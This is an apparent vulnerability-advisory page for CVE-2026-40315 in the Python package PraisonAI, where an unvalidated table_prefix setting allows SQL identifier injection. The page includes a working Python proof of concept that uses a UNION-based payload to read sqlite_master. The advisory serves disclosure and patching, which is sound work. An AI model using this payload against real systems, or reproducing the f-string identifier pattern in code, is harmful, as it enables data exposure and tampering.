CVE-2026-40315: PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries
Summary The tableprefix configuration value is directly used to construct SQL table identifiers without validation. If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlitemaster) and tampering with query results.
Published Apr 10, 2026 · Updated Apr 14, 2026
Affected packages
PraisonAI
- Ecosystem
- PyPI
- Affected
- < 4.5.133
- Fixed in
- 4.5.133
- Check
pip show PraisonAI
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The table_prefix configuration value is directly used to construct SQL table identifiers without validation.
If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.
---
Details
This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.
This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:
sessions_table = f"{table_prefix}sessions"This value is then used in queries such as:
SELECT * FROM {self.sessions_table}Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.
The vulnerability originates from configuration input and propagates through the following flow:
- Source: config.py (
from_yaml/from_dict) accepts external configuration input
- Propagation: factory.py (
create_stores_from_config) passesconversation_optionswithout validation
- Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from
table_prefix
As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.
PoC
1. Exploit Code
The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.
#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix
This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""
import os
import tempfile
from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession
def run_poc() -> int:
fd, db_path = tempfile.mkstemp(suffix=".db")
os.close(fd)
try:
print(f"[+] temp db: {db_path}")
# 1) Create normal schema and insert one legitimate session.
normal = SQLiteConversationStore(
path=db_path,
table_prefix="praison_",
auto_create_tables=True,
)
normal.create_session(
ConversationSession(
session_id="legit-session",
user_id="user1",
agent_id="agent1",
name="Legit Session",
state={},
metadata={},
created_at=123.0,
updated_at=123.0,
)
)
normal_rows = normal.list_sessions(limit=10, offset=0)
print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")
# 2) Malicious prefix (UNION-based query structure manipulation)
injected_prefix = (
"praison_sessions WHERE 1=0 "
"UNION SELECT "
"name as session_id, "
"NULL as user_id, "
"NULL as agent_id, "
"NULL as name, "
"NULL as state, "
"NULL as metadata, "
"0 as created_at, "
"0 as updated_at "
"FROM sqlite_master -- "
)
injected = SQLiteConversationStore(
path=db_path,
table_prefix=injected_prefix,
auto_create_tables=False,
)
injected_rows = injected.list_sessions(limit=10, offset=0)
injected_ids = [row.session_id for row in injected_rows]
print(f"[+] injected.list_sessions() count: {len(injected_rows)}")
print(f"[+] injected session_ids (first 10): {injected_ids[:10]}")
suspicious = any(
x in injected_ids
for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages")
)
if suspicious or len(injected_rows) > len(normal_rows):
print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix")
return 0
print("[!] PoC inconclusive: no clear injected rows observed")
return 2
finally:
try:
os.remove(db_path)
print("[+] temp db removed")
except OSError:
pass
if __name__ == "__main__":
raise SystemExit(run_poc())---
2. Expected Output
PoC Result The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.
3. Impact
- SQL Identifier Injection
- Query result manipulation
- Internal schema disclosure
Exploitable when untrusted input can influence configuration.
---
Reference
- https://github.com/advisories/GHSA-59g6-v3vg-f7wc
Credited to choseogyeong.
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp
- https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.133
- https://nvd.nist.gov/vuln/detail/CVE-2026-40315
- https://github.com/MervinPraison/PraisonAI/commit/0accebb2e3c3ec2fca66bbea0444fb7a35f0b4ef
- https://github.com/advisories/GHSA-x783-xp3g-mqhp
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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